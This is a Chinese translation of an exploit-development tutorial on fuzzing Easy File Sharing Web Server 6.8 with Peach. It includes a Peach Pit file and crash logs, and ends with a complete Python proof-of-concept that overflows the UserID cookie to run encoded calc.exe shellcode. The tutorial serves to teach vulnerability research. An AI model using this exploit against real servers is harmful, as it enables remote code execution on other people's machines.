网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

从Fuzzing到0day - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 几天前,我在一个fuzzing中发现了一个有趣的bug可以使我创造出一个0day EXP。我已经被问过好几次如何找bug和写一个exp,所以我决定利用这次机会描述下我是如何做的。在这篇文章中,我...

几天前,我在一个fuzzing中发现了一个有趣的bug可以使我创造出一个0day EXP。我已经被问过好几次如何找bug和写一个exp,所以我决定利用这次机会描述下我是如何做的。在这篇文章中,我将会展示如何寻找bug分析它,并且创造出一个有用exp。

从这篇文章中你应该获益不少,你应该熟悉基础的fuzzing和exp开发。

 

工具

  • ImmunityDebugger(http://www.immunityinc.com/products-immdbg.shtml)是我选择的调试器。再加mona.py(http://redmine.corelan.be/projects/mona)它成为一个强的的exp开发工具
  • PeachFuzzer(http://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/peachfuzzer.com) 和 windbg(http://msdn.microsoft.com/enus/windows/hardware/hh852365.aspx)。Peach 将对应用程序运行一系列的测试用例,使用winDbg记录发生的错误。记录到崩溃之后,Peach将重启应用并且继续下一个测试用例。正是因为这个,Peach经常可以发现不同种类的bug,其中的一些是可以利用的,而其他的不可以。
  • SocketSinff(http://www.nirsoft.net/utils/socket_sniffer.html),这是一个轻量级的工具,可以捕获数据包的流入和流出过程。数据对编写一个Peach pit是很有帮助的。
 
目标:简单文件共享的web服务器

 

我选择EFS Software(http://www.efssoft.com) 的 Easy File Sharing Web Server 6.8(http://sharing-file.com)来分析。当写这篇文章的时候是最新版本的。我在这里简称他为EFSWS 因为Easy File Sharing Web Server 有点小小的拗口。

 

分析应用

我将EFSWS安装在一个从modern.IE(http://loc.modern.ie/zh-cn)下载的虚拟机Window XP Professional SP3。

modern.IE提供评估版本的winsows 从XP到8.1,做这些伟大的测试~。我用windows xp 有两个理由,缺少ASLR,选择性加入DEP。这使得EXP更加好写,你也可以一直使用windows最近的版本。

当我第一次运行EFSWS,它弹窗询问我是否想购买,还是运行

01.png

事实证明这个弹窗每次都在EFSWS启动EFSWS从开始到websercer被关闭,幸运的是Peach可以寻找这些弹出的窗口,并且关闭他们,以便于继续自动化测试不用我们手动关闭弹出窗口。

EFSWS有几个选项来定制他的特性,我决定让他们保持默认的设置。

02.png

在这个点上EFSWS监听80端口,准备响应来自浏览器的请求。


在启动我们的浏览器之前,我打开了SocketSniff,这样可以捕获web浏览器和EFSWS之间发送的信息。这项工作完成后,我用火狐浏览器导向EFSWS。

03.png

我接收到一个登陆界面,引起我第一个注意的就是一个显示为“登陆为访客”的登录按钮,我点击它创建了一些虚拟目录。

04.png

我探索了一会,决定看看SocketSniff捕捉到了什么。早些时候,捕获到一个vfolder.ghp请求:

05.png

我注意到cookie包含键/值 包含 UserID 和PassID,这些键没有值分配给他们,可能是因为我是以访客登录,这看上去像一个有趣的目标来fuzz,所以我决定开始。

 

创建一个Peach Pit

Peach 使用XML 文件来描述他是如何FUZZ目标的,这些XML文件称作为Peach Pits 使用SocketSniff捕获,我创建了一个Peach Pit 来测试当请求vfolder.ghp的UserID和PassWD:

<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
 
<DataModel name="DataVfolder">
<String value="GET /vfolder.ghp" mutable="false" token="true"/>
<String value=" HTTP/1.1" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="User-Agent: " mutable="false" token="true"/>
<String value="Mozilla/4.0" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="Accept: " mutable="false" token="true"/>
<String value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Accept-Language: " mutable="false" token="true"/>
<String value="en-us" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="Accept-Encoding: " mutable="false" token="true"/>
<String value="gzip, deflate" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="Referer: " mutable="false" token="true"/>
<String value="http://##HOST##/" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
 
<String value="Cookie: " mutable="false" token="true"/>
<String value="SESSIONID=6771; " mutable="false" token="true"/>

<!-- fuzz UserID -->
<String value="UserID=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>

<!-- fuzz PassWD -->
<String value="PassWD=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Conection: " mutable="false" token="true"/>
<String value="Keep-Alive" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
</DataModel>

<DataModel name="DataResponse">
<!-- server reply, we don't care -->
<String value="" />
</DataModel>
 
<StateModel name="StateVfolder" initialState="Initial">
<State name="Initial">
<Action type="output">
<DataModel ref="DataVfolder"/>
</Action>
<Action type="input">
<DataModel ref="DataResponse"/>
</Action>
</State>
</StateModel>
 
<Agent name="LocalAgent">
<Monitor class="WindowsDebugger">
<Param name="CommandLine" value="C:\EFS Software\Easy File Sharing Web Server\fsws.exe"/>
</Monitor>

<!-- close the popup window asking us to buy the software before running tests -->
<Monitor class="PopupWatcher">
<Param name="WindowNames" value="Registration - unregistered"/>
</Monitor>
</Agent>
 
<Test name="TestVfolder">
<Agent ref="LocalAgent"/>
<StateModel ref="StateVfolder"/>
<Publisher class="TcpClient">
<Param name="Host" value="##HOST##"/>
<Param name="Port" value="##PORT##"/>
</Publisher>

<Logger class="File">
<!-- save crash information in the Logs directory -->
<Param name="Path" value="Logs"/>
</Logger>

<!-- use a finite number of test cases that test UserID first, followed by PassWD -->
<Strategy class="Sequential" />
 
</Test>
</Peach>

 

 

Peach3其中一个新的功能就是监视器。我使用监视器关闭在程序运行开始弹出询问我是否购买EFSWS的窗口,我同样使用占位符##HOST## 和##PORT## 所以我可以在命令行中指定目标地址和端口取代在Peach Pit中使用硬编码。

 

Ready,设置,开始Fuzz!

我关闭了 EFSWS 和SocketSniff,使用以下命令启动了一个fuzzing会话


  1. peach -DHOST=192.168.1.140 -DPORT=80 efs_fuzz.xml TestVfolder

06.png

Peach立刻启动了EFSWS,关闭了弹窗,然后在服务开始抛出测试用例,几分钟之内,他开始提示错误:

07.png

在这个阶段,我通常只是让他多运行几分钟,或者几小时,这取决于到现在为止的发现。

 

找到并且利用BUG

当我返回的时候,来看看Logs的目录崩溃的报告:

08.png

三个目录被创建标记为可以利用,所以这些在测试中应该得到更多优先权,在可以利用的信息中,我选择测试这个例子 
EXPLOITABLE_0x020c616f_0x021e756f\518。
这是Peach发送的数据导致服务的崩溃:

GET /vfolder.ghp HTTP/1.1
User-Agent: Mozilla/4.0
Host: 192.168.1.140:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.140/
Cookie: SESSIONID=6771; UserID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; PassWD=;
Conection: Keep-Alive
这个Peach载荷使用了一长串的字符串“A”的测试用例。并分配给UserID
在这一点上,PassWD还没有参与FUZZ 我看了看对应的WindowsDebugEngine_description.txt文件来看寄存器状态,和崩溃的指令:
eax=00000000 ebx=00000000 ecx=018f68f8 edx=41414141 esi=018f68e8 edi=018f68f8
eip=0045c8c2 esp=018f6830 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

EDX 是惟一一个被覆盖的有效负载。EIP是完整的,所以你了解崩溃的原因么? 答案是提供了错误的指令。 

 

0045c8c2 ff5228 call dword ptr [edx+28h] ds:0023:41414169=???????? 

 

这是试图调用出函数指向 EDX+28,它崩溃是因为 EDX+28结果0x41414169是一个无效的地址,这意味着我可以任意控制重定向指向流程,因为我控制了EDX的值。

 

一个POC的开始

我需要使用这个来自Peach的测试用例转换为一个POC 。我创建了一下一个Python脚本发送请求相同的测试用例:

 



import socket
import struct
 
target = "192.168.1.140"
port = 80
 
payload = "A"*90
 
buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + target + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + target + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf)
s.close()

 

 

现在我可以复制测试用例,我需要检查当崩溃的时候内存中发生了什么。

 

ImmunityDebugger测试崩溃

我停止的fuzzing会话,重启了EFSWS,使用Immunity Debugger。在
WindowsDebugEngine_description.txt ,错误指令地址是0x0045c8c2,所以在这里设置一个断点:

09.png

我执行POC 在断点出停止,快速查看短站,payload还没有收到,所以按下F9继续执行断点第二次hit,仍然没有收到payload,再次按下了F9,这一次我注意到EDX被覆盖0x41414141 ,payload在堆栈中被见到了。

10.png

ECX,ESI,和EDI都指向载荷的位置,载荷自己在堆栈中的地址起始于0x19f68a8

我按下F9继续执行,异常处理程序触发了非法访问读取0x41414169,我快速浏览了一下希望看到一个覆盖,但是没有发现。

12.png

所以我继续按shift+F9 几次异常传递给应用程序,并且最终恢复,服务器本身没有崩溃,所以我不需要重启调试器
在下一步进行之前,我怎家有效载荷大小为400个字节。90个字节是很小的你至少需要300字节bindshell shellcode 我做了以下一个改变
payload="A"*400
像之前一样载荷进入对战EDX被覆盖,到了控制程序的时候了。

 

劫持执行流

为了劫持执行流,我需要覆盖EDX 但是在此之前我还没做。我需要弄清楚什么偏移覆盖了EDX我使用Metasploit 的pattern_creat.rb来创建一个400字节的cyclic pattern并且当作我的载荷。

 


payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
我执行了POC,直到EDX被cyclic pattern覆盖:

 

14.png

这个值阻止了pattern_offset.rb 它偏移80.为了正式这一点我更新了载荷,写入0x42424242 80字节到载荷里。

payload="A"*80+"B"*4+"C"*316

我再一次运行PoC,确信了 EDX被覆盖为 0x42424242

15.png

现在知道了偏移,我需要制作一个EDX+28指向一个地址,包含我想要执行的指令集
最简单的为止是指向堆栈,windows xp 没有ASLR 所以堆栈地址不是随机。看这个堆栈,我注意到 payload开始于0x019F68a8 结束于 0x019F6a34.所有我需要做的就是EDX+28范围介于两者之间。
在这个位置指针应该指向什么?ECX,ESI和EDI都指向载荷,所以如果找到JMP或者CALL指令到那些地方,它将执行有效载荷,并开始执行任何指令。

 

经过一番搜索我在0想0023701发现了一个 CALL ESI 在EFSWS的ImageLoad.dl:

13.png

所有我需要的就是把0x10023701在堆栈上的某个地方EDX+28将会解决这个问题
我决定放置在0x019F6968, 这是一个108字节在缓冲区”C”:

16.png

这意味着EDX要设置0x019F6940,0x019F6940 + 28 = 0x019F6968,载荷更新为


payload = "A"*80 
payload += struct.pack("<I", 0x019F6940) 
payload += "C"*108 
payload += struct.pack("<I", 0x10023701) 
payload += "C"*196

 


我在一次执行PoC按下F9直到载荷得到,EDX现在被置为0x019F6940 然后call指令显示指向0x10023701,一个地址在 LoadImage.dll。我按下F7单步进入函数,带我到CALL ESI指令,ESI 指向0x019F68FC ,载荷中有64字节:

17.png

这里只有16字节在这里工作,但是有大量的空间在缓冲区”C”开始于0x019F68FC
我把地址放在了CALL ESI 在0x19F6968 ,我想要储存我的shellcode过去这个地址。离我当前的为止太远所以跳转无效
幸运的是我可以重用ESI 再次通过添加一个值,然后做一个JMP ESI 跳转到新的位置。怎家90字节的ESI足以跳过0x019f6968

 


payload = "A"*64 # padding
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90
payload += "\xff\xe6" # JMP ESI
payload += "A"*8 # padding
payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI
payload += "C"*108 # padding
payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI

 

 

我再一次运行了POC 单步通过指令,所有的东西在此之前工作了,在我CALL ESI执行之后,执行到了SUB ESI,-90 and JMP ESI

18.png

SUB ESI,-90 sets ESI to 0x019F6978 12字节通过0x019F6968.这是一个shellcode

 

让我们Pwn这件事!

当poc工作,我更希望calc.exe从我的shellcode中启动。这非常简单,小巧,快捷的动作。我使用了来自https://code.google.com/p/win-exec-calc-shellcode/ 的calc shellcode去除了0x00和0x20
0x00是空字节,将会截取载荷 0x20是空的,也会截取载荷当作UserID的值

 


# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

 


 

我再一次更新了载荷包括一个NOP sled 和shellcode:

 


payload = "A"*64 # padding
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90
payload += "\xff\xe6" # JMP ESI
payload += "A"*8 # padding
payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI
payload += "C"*108 # padding
payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI
payload += "\x90"*20 # NOP sled
payload += shellcode # calc.exe
payload += "C"*75 # padding

 

 

我执行了POC步进通过指令直到到了  JMP ESI 我按下F7步进通过,它落在NOP sled中间:

19.png

相信一切都要从这里开始,我按下F9继续执行 calc.exe弹出来了!Exp工作了!

20.png

 

下面是修改过后的POC代码:

import socket
import struct
import time
 
target = "192.168.1.140"
port = 80
 
# 101 byte calc.exe shellcode
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)
 
payload = "A"*64 # padding
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90
payload += "\xff\xe6" # JMP ESI
payload += "A"*8 # padding
payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI
payload += "C"*108 # padding
payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI
payload += "\x90"*20 # NOP sled
payload += shellcode # calc.exe
payload += "C"*75 # padding
 
buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + target + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + target + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf)
s.close()

 

原文owl#FF0000TeAm翻译自:http://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论